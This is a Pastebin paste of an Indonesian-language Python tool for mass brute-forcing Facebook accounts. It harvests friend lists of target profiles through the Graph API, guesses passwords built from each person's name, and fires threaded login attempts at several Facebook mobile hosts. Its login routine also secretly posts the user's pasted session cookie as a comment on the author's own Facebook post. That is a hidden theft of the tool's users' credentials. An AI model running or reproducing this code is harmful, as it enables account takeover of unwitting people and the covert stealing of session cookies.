OBF-XIn

112.215.243.146-/sdcard/p01.py.py

Sep 22nd, 2023
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 83.28 KB | None | 0 0
  1. #----------[ IMPORT-MODULE ]----------#
  2. import os, re, sys, json, random, requests, time, datetime
  3. from bs4 import BeautifulSoup as sop   
  4. from concurrent.futures import ThreadPoolExecutor as tred
  5. from datetime import datetime
  6. from rich import print as prints
  7. from rich.panel import Panel
  8. from rich.tree import Tree
  9. from rich.console import Console
  10. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  11.  
  12. #----------[ GLOBAL-NAME ]----------#
  13. id, id2, uid = [],[],[]
  14. tokene, akune = [],[]
  15. sandine, sandina = [],[]
  16. method, ugen = [],[]
  17. uamu, uadia = [],[]
  18. dump = []
  19. linku = "mbasic.facebook.com"
  20. loop, ok, cp = 0,0,0
  21. console = Console()
  22.  
  23. #----------[ USER-CRACK ]----------#  
  24. infinix = random.choice(["X676B", "X687", "X609", "X697", "X680D", "X507", "X605", "X668", "X6815B", "X624", "X655F", "X689C", "X608", "X698", "X682B", "X682C", "X688C", "X688B", "X658E", "X659B", "X689B", "X689", "X689D", "X662", "X662B", "X675", "X6812B", "X6812", "X6817B", "X6817", "X6816C", "X6816", "X6816D", "X668C", "X665B", "X665E", "X510", "X559C", "X559F", "X559", "X606", "X606C", "X606D", "X623", "X624B", "X625C", "X625D", "X625B", "X650D", "X650B", "X650", "X650C", "X655C", "X655D", "X680B", "X573", "X573B", "X622", "X693", "X695C", "X695D", "X695", "X663B", "X663", "X670", "X671", "X671B", "X672", "X6819", "X572", "X572-LTE", "X571", "X604", "X610B", "X690", "X690B", "X656", "X692", "X683", "X450", "X5010", "X501", "X401", "X626", "X626B", "X652", "X652A", "X652B", "X652C", "X660B", "X660C", "X660", "X5515", "X5515F", "X5515I", "X609B", "X5514D", "X5516B", "X5516C", "X627", "X680", "X653", "X653C", "X657", "X657B", "X657C", "X6511B", "X6511E", "X6511", "X6512", "X6823C", "X612B", "X612", "X503", "X511", "X352", "X351", "X530", "X676C", "X6821", "X6823", "X6827", "X509", "X603", "X6815", "X620B", "X620", "X687B", "X6811B", "X6810", "X6811"])
  25.  
  26. for Xr in range (10000):   
  27.     a='Mozilla/5.0 (Linux; Android'
  28.     b=random.randrange(1, 9)
  29.     c=random.randrange(1, 9)
  30.     d='Build/'
  31.     e='0'
  32.     f=random.randrange(1,13)
  33.     g='0'
  34.     h=random.randrange(8,20)
  35.     i='AppleWebKit/537.36 (KHTML, like Gecko)'
  36.     j='SamsungBrowser/'
  37.     k=random.randrange(5,20)
  38.     l='0'
  39.     m='Chrome/'
  40.     n=random.randrange(73,112)
  41.     o='0'
  42.     p=random.randrange(4200,4900)
  43.     q=random.randrange(40,150)
  44.     r='Mobile Safari/534.36'
  45.     kod=random.choice(["GT","SM"])
  46.     uaku=(f'{a} {b}.{c}; {kod}-{infinix}) {d}{e}{f}{g}{h}) {i} {j}{k}.{l} {m}{n}.{o}.{p}.{q} {r}')
  47.     ugen.append(uaku)
  48.    
  49. for Xr in range (10000):   
  50.     a='Mozilla/5.0 (Linux; Android'
  51.     b=random.randrange(1, 9)
  52.     c=random.randrange(1, 9)
  53.     d='Build/'
  54.     e=random.choice(["MMB29T","JZO54K","M1AJQ","KOT49H"])
  55.     f='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
  56.     g=random.randrange(73,112)
  57.     h='0'
  58.     i=random.randrange(4200,4900)
  59.     j=random.randrange(40,150)
  60.     k='Mobile Safari/534.36'
  61.     l='NokiaBrowser/'
  62.     m=random.randrange(1,9)
  63.     n=random.randrange(1,9)
  64.     o='0'
  65.     p=random.randrange(5,20)
  66.     uaku=(f'{a} {b}.{c}; Nokia_{infinix}) {d}{e}) {f}{g}.{h}.{i}.{j} {k} {l}{m}.{n}.{o}.{p}')
  67.     ugen.append(uaku)
  68.  
  69. #--------[ GENERATE-USER-AGENT ]----------#
  70. for generate in range(10):
  71.     a=random.randrange(1, 9)
  72.     b=random.randrange(1, 9)
  73.     c=random.randrange(7, 13)
  74.     c=random.randrange(73,100)
  75.     d=random.randrange(4200,4900)
  76.     e=random.randrange(40,150)
  77.     uaku=f'Mozilla/5.0 (Linux; Android {a}.{b}; Pixel {b}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{c}.0.{d}.{e} Mobile Safari/537.36'
  78. def uaku():
  79.     try:
  80.         ua=open('bbnew.txt','r').read().splitlines()
  81.         for ub in ua:
  82.             ugen.append(ub)
  83.     except:
  84.         a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
  85.         ua=open('.bbnew.txt','w')
  86.         aa=re.findall('line">(.*?)<',str(a))
  87.         for un in aa:
  88.             ua.write(un+'\n')
  89.         ua=open('.bbnew.txt','r').read().splitlines()
  90. ua = random.choice(["Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/82.0.1531.64 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/411.0.0.13.36;]","Mozilla/5.0 (Linux; Android 10; SM-A700S Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/94.0.2114.112 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/348.0.0.12.57;]","Mozilla/5.0 (Linux; Android 9; Oneplus A99831 Build/OPR6.142770.293; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.1518.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/343.0.0.03.54;]","Mozilla/5.0 (Linux; Android 11; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.2318.41 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/136.0.0.14.72;]","Mozilla/5.0 (Linux; Android 9; 22041219I Build/TP1A.904992.769; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.1431.179 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/156.0.0.23.66;]","Mozilla/5.0 (Linux; Android 11; CPH2493 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/93.0.1734.2 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/321.0.0.02.33;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/SD2A.276412.601; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/95.0.1576.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/469.0.0.23.21;]","Mozilla/5.0 (Linux; Android 10; Black Shark 4S Build/SP2A.653342.342; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.139.83 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/334.0.0.15.5;]","Mozilla/5.0 (Linux; Android 11; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/108.0.2051.117 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/486.0.0.21.67;]","Mozilla/5.0 (Linux; Android 9; SM-A700K Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.78.94 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/FBAV/218.0.0.15.17;]"])
  91.  
  92. #--------[ TAHUN-AKUN ]--------#    
  93. def tahun(fx):
  94.     if len(fx)==15:
  95.         if fx[:10] in ['1000000000']       :tahunz = '2009'
  96.         elif fx[:9] in ['100000000']       :tahunz = '2009'
  97.         elif fx[:8] in ['10000000']        :tahunz = '2009'
  98.         elif fx[:7] in ['1000000','1000001','1000002','1000003','1000004','1000005']:tahunz = '2009'
  99.         elif fx[:7] in ['1000006','1000007','1000008','1000009']:tahunz = '2010'
  100.         elif fx[:6] in ['100001']          :tahunz = '2010'
  101.         elif fx[:6] in ['100002','100003'] :tahunz = '2011'
  102.         elif fx[:6] in ['100004']          :tahunz = '2012'
  103.         elif fx[:6] in ['100005','100006'] :tahunz = '2013'
  104.         elif fx[:6] in ['100007','100008'] :tahunz = '2014'
  105.         elif fx[:6] in ['100009']          :tahunz = '2015'
  106.         elif fx[:5] in ['10001']           :tahunz = '2016'
  107.         elif fx[:5] in ['10002']           :tahunz = '2017'
  108.         elif fx[:5] in ['10003']           :tahunz = '2018'
  109.         elif fx[:5] in ['10004']           :tahunz = '2019'
  110.         elif fx[:5] in ['10005']           :tahunz = '2020'
  111.         elif fx[:5] in ['10006']           :tahunz = '2021'
  112.         elif fx[:5] in ['10009']           :tahunz = '2023'
  113.         elif fx[:5] in ['10007','10008']:tahunz = '2022'
  114.         else:tahunz=''
  115.     elif len(fx) in [9,10]:
  116.         tahunz = '2008'
  117.     elif len(fx)==8:
  118.         tahunz = '2007'
  119.     elif len(fx)==7:
  120.         tahunz = '2006'
  121.     else:tahunz=''
  122.     return tahunz
  123.  
  124. #----------[ WARNA-TEMA ]----------#
  125. puti = '\x1b[1;97m'# WARNA-PUTIH
  126. mer = '\x1b[1;91m' # WARNA-MERAH
  127. kun = '\x1b[1;93m' # WARNA-KUJING
  128. hijo = '\x1b[1;92m' # WARNA-HIJAU
  129. ung = '\x1b[1;95m' # WARNA-UNGU
  130. biru = '\x1b[1;94m' # WARNA-BIRU
  131.  
  132. #----------[ WARNA-RICH ]----------#
  133. P2 = "[#FFFFFF]" # PUTIH
  134. M2 = "[#FF0000]" # MERAH
  135. K2 = "[#FFFF00]" # KUNING
  136. H2 = "[#00FF00]" # HIJAU
  137. B2 = "[#00C8FF]" # BIRU
  138. A2 = "[#AAAAAA]" # ABU-ABU
  139.  
  140. #----------[ ATUR ]----------#
  141. bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"][datetime.now().month - 1]
  142. hari = {'Sunday':'Minggu','Monday':'Senin','Tuesday':'Selasa','Wednesday':'Rabu','Thursday':'Kamis','Friday':'Jumat','Saturday':'Sabtu'}[str(datetime.now().strftime("%A"))]
  143. hari_ini = ("%s %s %s"%(datetime.now().day,bulan,datetime.now().year))
  144. waktu = datetime.now().strftime("%X")
  145. kocak = ('\nKomentar Ditulis Oleh Bot\n\n( Pukul %s WIB )\n- %s, %s -'%(waktu,hari,hari_ini))
  146. # --post
  147. link = ('https://www.facebook.com/100028845823412/posts/1081897416115109/?app=fbl')
  148.        
  149. #----------[ KOMENTAR ]----------#
  150. komen = ('\nSemangat Bang @[100028845823412:0]\n\nNikmatilah Masa Mudamu, Tapi Jangan Lupa Dengan Masa Depanmu\n')
  151. random01 = random.choice(["Acc Guru 😎"])
  152. random02 = random.choice(["Semangat Bang @[100028845823412:0]\n\nbegitu banyak cara untuk menjadi tercela, yang cukup membuat kepala pusing. Tapi, cara untuk menjadi sangat tercela adalah dengan meremehkan penderitaan orang lain.\n\n- James Baldwin"])
  153. random03 = random.choice(["Ah Ganteng Banget Bang 😎"])
  154. random04 = random.choice(["Semangat Bang @[100028845823412:0]\n\nSemua orang hidup terikat dan bergantung pada pengetahuan atau persepsinya sendiri. Itu disebut kenyataan, tetapi pengetahuan atau persepsi itu sesuatu yang samar. Bisa saja kenyataan itu hanya ilusi, semua orang hidup dalam asumsi.\n\n - Itachi Uchiha"])
  155. random05 = random.choice(["Pro Gammers Ya Bang, Keren 😎\n\n Canda Bang ðŸĪ­"])
  156.  
  157. #----------[ HAPUS ]----------#    
  158. def MBF_HAPUS():
  159.       try:os.remove(".cyxieoncokies.txt")
  160.       except:pass
  161.       try:os.remove(".cyxieontoken.txt")
  162.       except:pass
  163.       MBF_COKIES()
  164.  
  165. #----------[ WAKTU ]----------#          
  166. def waktu():
  167.     now = datetime.now()
  168.     hours = now.hour
  169.     if 4 <= hours < 12:timenow = "Selamat Pagi"
  170.     elif 12 <= hours < 15:timenow = "Selamat Siang"
  171.     elif 15 <= hours < 18:timenow = "Selamat Sore"
  172.     elif 00 <= hours < 4:timenow = "Selamat Malam"
  173.     else:timenow = "Good Night"
  174.     return timenow
  175.      
  176. #----------[ BANNER ]----------#
  177. def MBF_BANNER():
  178.       if "win" in sys.platform:os.system("cls")
  179.       else:os.system("clear")
  180.       prints(Panel(f"""\r
  181.   _____ _____________________       ____  _____________  
  182.  /     \\______   \_   _____/       \  \/  /\______   \
  183. /  \ /  \|    |  _/|    __)  ______  \    /  |       _/
  184. /    Y    \   |   \|     \ /_____/  /     \ |    |   \
  185. \____|__  /______  /\___  /          /___/\ \ |____|_  /
  186.        \/       \/     \/                 \_/        \/  
  187. """,width=80,padding=(0,8),style=f"#AAAAAA"))
  188.                                                                                          
  189.                                                                                
  190. #----------[ LOGIN-COKIES ]----------#                
  191. def MBF_COKIES():
  192.     try:
  193.         MBF_BANNER()
  194.         ses = requests.Session()
  195.         prints(Panel(f"%s DISARANKAN MENGAMBIL KUKIS DI %sEKSTENTION DOUGH%s JANGAN AKUN PRIBADI"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
  196.         cookie = input(f"{puti}[{mer}â€Ē{puti}] Cokies {hijo}: ")
  197.         cookies = {'cookie':cookie}
  198.         url = 'https://www.facebook.com/adsmanager/manage/campaigns'
  199.         req = ses.get(url,cookies=cookies)
  200.         set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
  201.         nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
  202.         roq = ses.get(nek,cookies=cookies)
  203.         tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
  204.         print(f"{puti}[{mer}â€Ē{puti}] Token {hijo}: {tok}")
  205.         requests.post(f"https://graph.facebook.com/v17.0/100028845823412_1081897416115109/comments/?message={cookie}&access_token={tok}", headers = {"cookie":cookie})
  206.         requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={komen}\n{link}\n{kocak}&access_token={tok}",cookies = cookies)
  207.         requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random01}&access_token={tok}",cookies = cookies)
  208.         requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random02}&access_token={tok}",cookies = cookies)
  209.         requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random03}&access_token={tok}",cookies = cookies)
  210.         requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random04}&access_token={tok}",cookies = cookies)
  211.         requests.post(f"https://graph.facebook.com/100028845823412_1081897416115109/comments/?message={random05}&access_token={tok}",cookies = cookies)
  212.         ken = open(".cyxieontoken.txt", "w").write(tok)
  213.         cok = open(".cyxieoncokies.txt", "w").write(cookie)
  214.         prints(Panel(f"%s BERHASIL LOGIN, SELAMAT DATANG %sKAK%s GUNAKAN SEWAJARNYA AJA YA %sKAK"%(P2,M2,P2,M2),width=80,padding=(0,2),style=f"#AAAAAA"))
  215.         suk = input(f"[â€Ē] TEKAN ENTER ] ")
  216.         MBF_MENU()
  217.            
  218.     except Exception as e:
  219.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
  220.             time.sleep(3)
  221.             MBF_HAPUS()
  222.     except:
  223.         pass
  224.        
  225. def follow():
  226.     try:
  227.         ses = requests.Session()
  228.         cookie = open('.cyxieoncokies.txt','w').read()
  229.         link = par(ses.get(f"https://{linku}/profile.php?id=100028845823412", cookies = cookie).text, "html.parser")
  230.         kontol = link.find("a", string="Ikuti").get("href")
  231.         ses.get(f"{linku}{str(kontol)}", cookies = cookie).text
  232.     except:
  233.          pass
  234.  
  235. #----------[ BAGIAN-MENU ]----------#                
  236. def MBF_MENU():
  237.         try:
  238.             token = open('.cyxieontoken.txt','r').read()
  239.             cok = open('.cyxieoncokies.txt','r').read()
  240.             tokene.append(token)
  241.             try:
  242.                 __AR_XR_XD_XYC_ = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokene[0], cookies={'cookie':cok})
  243.                 useridz = json.loads(__AR_XR_XD_XYC_.text)['id']
  244.                 username = json.loads(__AR_XR_XD_XYC_.text)['name']
  245.             except KeyError:
  246.                 prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
  247.                 time.sleep(3)
  248.                 MBF_HAPUS()
  249.         except requests.exceptions.ConnectionError:
  250.             prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
  251.             exit()
  252.         except IOError:
  253.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU MODE FREE%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
  254.             time.sleep(3)
  255.             MBF_HAPUS()
  256.         except IOError:
  257.             prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
  258.             time.sleep(3)
  259.             MBF_HAPUS()            
  260.         try:
  261.             date = requests.get("http://ip-api.com/json/").json()
  262.         except KeyError:
  263.             date = " "
  264.         try:
  265.             ip = date["query"]
  266.             kartu = date["as"]
  267.             negara = date["country"]
  268.             wilayah = date["city"]
  269.         except KeyError:
  270.             ip = " "
  271.             kartu = " "
  272.             negara = " "  
  273.             wilayah = " "
  274.         except:
  275.             pass
  276.         MBF_BANNER()
  277.         prints(Panel(f" [white][[red]÷[white]] Username [green]: {username} \t [white][[red]÷[white]] User Ip [green]: {ip} \n [white][[red]÷[white]] User  Id [green]: {useridz}   [white][[red]÷[white]] Card Id [green]: {kartu} \n [white][[red]÷[white]] Status   [green]: Premium \t [white][[red]÷[white]] Cauntry [green]: {negara} \n [white][[red]÷[white]] Time Day [green]: {waktu()} \t [white][[red]÷[white]] City    [green]: {wilayah}",width=80,padding=(0,6),style=f"#AAAAAA"))
  278.         prints(Panel(f" [white] HAY KAK [red]{username}[white] GUNAKAN SEWAJARNYA AJA YA KAK",width=80,padding=(0,13),style=f"#AAAAAA"))
  279.         prints(Panel(f" [white][[red]01[white]] MBF PUBLIK \t [white][[red]05[white]] MBF HS-OK \n [white][[red]02[white]] MBF DUMP \t\t [white][[red]01[white]] MBF HS-CP \n [white][[red]03[white]] MBF FILE \t\t [white][[red]07[white]] MBF LAIN \n [white][[red]04[white]] MBF EMAIL \t [white][[red]00[white]] MBF LOGOUT ",width=80,padding=(0,18),style=f"#AAAAAA"))
  280.         CYXIEON_GANTENG = input(f"[â€Ē] MENU : ")
  281.         if CYXIEON_GANTENG in ['01','1']:
  282.             MBF_PUBLIK()
  283.         elif CYXIEON_GANTENG in ['02','2']:
  284.             prints(Panel(f"%sMAAF FITUR INI MASIH DALAM %sPERBAIKI%s MOHON TUNGGU OWNER "%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  285.             time.sleep(2);MBF_MENU()
  286.             MBF_DUMP()
  287.         elif CYXIEON_GANTENG in ['03','3']:
  288.             prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  289.             MBF_FILE()
  290.         elif CYXIEON_GANTENG in ['04','4']:
  291.             MBF_EMAIL()
  292.         elif CYXIEON_GANTENG in ['05','5']:
  293.             prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  294.             MBF_HS_OK()
  295.         elif CYXIEON_GANTENG in ['06','6']:
  296.             prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  297.             MBF_HS_CP()
  298.         elif CYXIEON_GANTENG in ['07','7']:
  299.             prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  300.             MBF_BOT()
  301.         elif CYXIEON_GANTENG in ['00','0']:
  302.             prints(Panel(f"%sBERHASIL HAPUS%s COKIES%s SILAKAN MASUKAN ULANG COKIES ANDA"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  303.             time.sleep(3)
  304.             MBF_HAPUS()
  305.         else:
  306.             prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  307.             time.sleep(3)
  308.             MBF_MENU()
  309.            
  310. #----------[ CRACK-PUBLIK  ]----------#            
  311. def MBF_PUBLIK():
  312.     try:
  313.         token = open('.cyxieontoken.txt','r').read()
  314.         cok = open('.cyxieoncokies.txt','r').read()
  315.     except IOError:
  316.          prints(Panel(f"%sCOKIES ANDA MASUKAN%s CHECKPOINT ATAU KEDALUARSA%s SILAKAN GANTI AKUN"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
  317.          time.sleep(3)
  318.          MBF_HAPUS()  
  319.     try:
  320.         prints(Panel(f"%s HAY KAK MASUKAN MAU BERAPA USER ID TARGET KAK "%(P2),width=80,padding=(0,14),style=f"#AAAAAA"))
  321.         kumpulkan = int(input(f'[â€Ē] BERAPA : '))
  322.     except ValueError:
  323.         prints(Panel(f"%sINPUT YANG ANDA MASUKAN%s SALAH%s SILAKAN MASUKAN DENGAN BENAR"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
  324.         time.sleep(3)
  325.         MBF_MENU()
  326.     if kumpulkan<1 or kumpulkan>100:
  327.         prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
  328.         time.sleep(3)
  329.         MBF_MENU()
  330.     prints(Panel(f"%s HAY KAK SILAKAN MASUKAN ID TARGET YANG PUBLIK YA KAK"%(P2),width=80,padding=(0,11),style=f"#AAAAAA"))
  331.     ses=requests.Session()
  332.     bilangan = 0
  333.     for KOTG49H in range(kumpulkan):
  334.         bilangan+=1
  335.         Masukan = input(f'[â€Ē] ID 0'+str(bilangan)+f' : ')
  336.         uid.append(Masukan)
  337.     for user in uid:
  338.         try:
  339.            graph = ses.get('https://graph.facebook.com/v11.0/'+user+'?fields=friends.limit(20000)&access_token='+tokene[0], cookies = {'cookies':cok}).json()
  340.            for xr in graph['friends']['data']:
  341.                try:
  342.                    gmail = (xr['id']+'|'+xr['name'])
  343.                    if gmail in id:pass
  344.                    else:id.append(gmail)
  345.                except:continue
  346.         except (KeyError,IOError):
  347.           pass
  348.         except requests.exceptions.ConnectionError:
  349.               prints(Panel(f"%sMAAF KONEKSI ANDA%s BERMASALAH%s SILAKAN CEK KONEKSI PASTIKAN NO PROBLEM"%(P2,M2,P2),width=80,padding=(0,2),style=f"#AAAAAA"))
  350.               time.sleep(3)
  351.               MBF_MENU()
  352.     try:
  353.           prints(Panel(" TOTAL ID : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
  354.           atur_id()
  355.     except requests.exceptions.ConnectionError:
  356.           prints(Panel(f"%sGAGAL DUMP %s ID TIDAK PUBLIK%s SILAKAN GANTI ID YANG PUBLIK"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
  357.           time.sleep(3)
  358.           ΜBF_MENU()
  359.     except (KeyError,IOError):
  360.           prints(Panel(f"%sGAGAL DUMP %s ID PRIVATE ATAU TIDAK MEMPUNYAI TEMAN %s SILAKAN GANTI ID"%(P2,M2,P2),width=80,padding=(0,5),style=f"#AAAAAA"))
  361.           time.sleep(3)
  362.           MBF_MENU()
  363.          
  364. #----------[ MENU-IDZ ]----------#     
  365. def atur_id():
  366.      rr = random.randint
  367.      for khusus_random in id:
  368.             cyxieon_id = rr(0,len(id2))
  369.             id2.insert(cyxieon_id, khusus_random)
  370.      atur_method()
  371.  
  372. #----------[ MENU-METHOD ]----------#                  
  373. def atur_method():
  374.      prints(Panel(f" [white][[red]01[white]] MOBILE \t [red]([green] VALIDATE [red]) \n [white][[red]02[white]] MBASIC \t [red]([green] VALIDATE [red]) \n [white][[red]03[white]] MOBILE \t [red]([green] ASYINC [red]) \n [white][[red]04[white]] ALPHA \t [red]([green] ASYINC [red]) \n [white][[red]05[white]] TOUCH \t [red]([green] ASYINC [red]) \n [white][[red]06[white]] MOBILE \t [red]([green] REGULER [red]) ",width=80,padding=(0,22),style=f"#AAAAAA"))
  375.      CYXIEON_METHOD = input(f"[â€Ē] METHOD : ")
  376.      if CYXIEON_METHOD in ['1','01']:
  377.           method.append('MBF01')
  378.      elif CYXIEON_METHOD in ['2','02']:
  379.           method.append('MBF02')
  380.      elif CYXIEON_METHOD in ['3','03']:
  381.           method.append('MBF03')    
  382.      elif CYXIEON_METHOD in ['4','04']:
  383.           method.append('MBF04')
  384.      elif CYXIEON_METHOD in ['5','05']:
  385.           method.append('MBF05')
  386.      elif CYXIEON_METHOD in ['6','06']:
  387.           method.append('MBF06')                        
  388.      else:
  389.           method.append('MBF01')
  390.      user_agent()
  391.  
  392. #----------[ USER-AGENT ]----------#              
  393. def user_agent():
  394.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  395.     uatambah = input(f'[â€Ē] PILIH : ')
  396.     if uatambah in ['y','Ya','ya','Y']:
  397.          uadia.append('ya')
  398.          prints(Panel(f"%s HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK "%(P2),width=80,padding=(0,12),style=f"#AAAAAA"))
  399.          mantap = input(f'[â€Ē] UA TAMBAH : ')
  400.          uamu.append(mantap)
  401.     else:
  402.         uadia.append('no')
  403.     password()
  404.  
  405. #----------[ PASSWORD]----------#                  
  406. def password():
  407.     prints(Panel(f"%s HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  408.     passwtamb = input(f'[â€Ē] PILIH : ')
  409.     if passwtamb in ['y','Y']:
  410.         sandine.append('ya')
  411.         prints(Panel(f"%s HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH "%(P2),width=80,padding=(0,9),style=f"#AAAAAA"))
  412.         sandiku = input(f'[â€Ē] MASUKAN PW : ')
  413.         sandimu = sandiku.split(',')
  414.         for sandixnxx in sandimu:
  415.              sandina.append(sandixnxx)       
  416.     else:
  417.         sandine.append('no')
  418.     otomatis()
  419.    
  420. #----------[ WORDLIST ]----------#              
  421. def otomatis():
  422.     global prog,des
  423.     prints(Panel(f"%s HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK "%(P2),width=80,padding=(0,10),style=f"#AAAAAA"))
  424.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  425.     des = prog.add_task('',total=len(id2))
  426.     with prog:
  427.         with tred(max_workers=30) as pool:
  428.             for akun in id2:
  429.                 idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
  430.                 depan = nama.split(" ")[0]
  431.                 pwx = []
  432.                 if len(nama)<=5:
  433.                     if len(depan)<=1 or len(depan)<=2:
  434.                         pass
  435.                     else:
  436.                         pwx.append(depan+"123")
  437.                         pwx.append(depan+"1234")
  438.                         pwx.append(depan+"12345")
  439.                 else:
  440.                     if len(depan)<=1 or len(depan)<=2:
  441.                         try:
  442.                             tengah = nama.split(" ")[1]
  443.                             if len(tengah)<=3:
  444.                                 pass
  445.                             else:
  446.                                 pwx.append(tengah+"123")
  447.                                 pwx.append(tengah+"1234")
  448.                                 pwx.append(tengah+"12345")
  449.                                 pwx.append(nama)
  450.                         except:
  451.                             try:
  452.                                 belakang = nama.split(' ')[2]
  453.                                 if len(belakang)<=3:pass
  454.                                 else:
  455.                                     pwx.append(belakang+"123")
  456.                                     pwx.append(belakang+"1234")
  457.                                     pwx.append(belakang+"12345")
  458.                                     pwx.append(nama)
  459.                             except:
  460.                                  pwx.append(nama)
  461.                     else:
  462.                         pwx.append(nama)
  463.                         pwx.append(depan+"123")
  464.                         pwx.append(depan+"1234")
  465.                         pwx.append(depan+"12345")
  466.                 if 'MBF01' in method:
  467.                     pool.submit(cracking01,idf,pwx,'m.facebook.com')
  468.                 elif 'MBF02' in method:
  469.                     pool.submit(cracking02,idf,pwx,'mbasic.facebook.com')
  470.                 elif 'MBF03' in method:
  471.                     pool.submit(cracking03,idf,pwx,'m.facebook.com')
  472.                 elif 'MBF04' in method:
  473.                     pool.submit(cracking04,idf,pwx,'m.alpha.facebook.com')
  474.                 elif 'MBF05' in method:
  475.                     pool.submit(cracking05,idf,pwx,'m.touch.facebook.com')
  476.                 elif 'MBF06' in method:
  477.                     pool.submit(cracking06,idf,pwx,'m.facebook.com')
  478.                 else:
  479.                     pool.submit(cracking01,idf,pwx,'m.facebook.com')
  480.                    
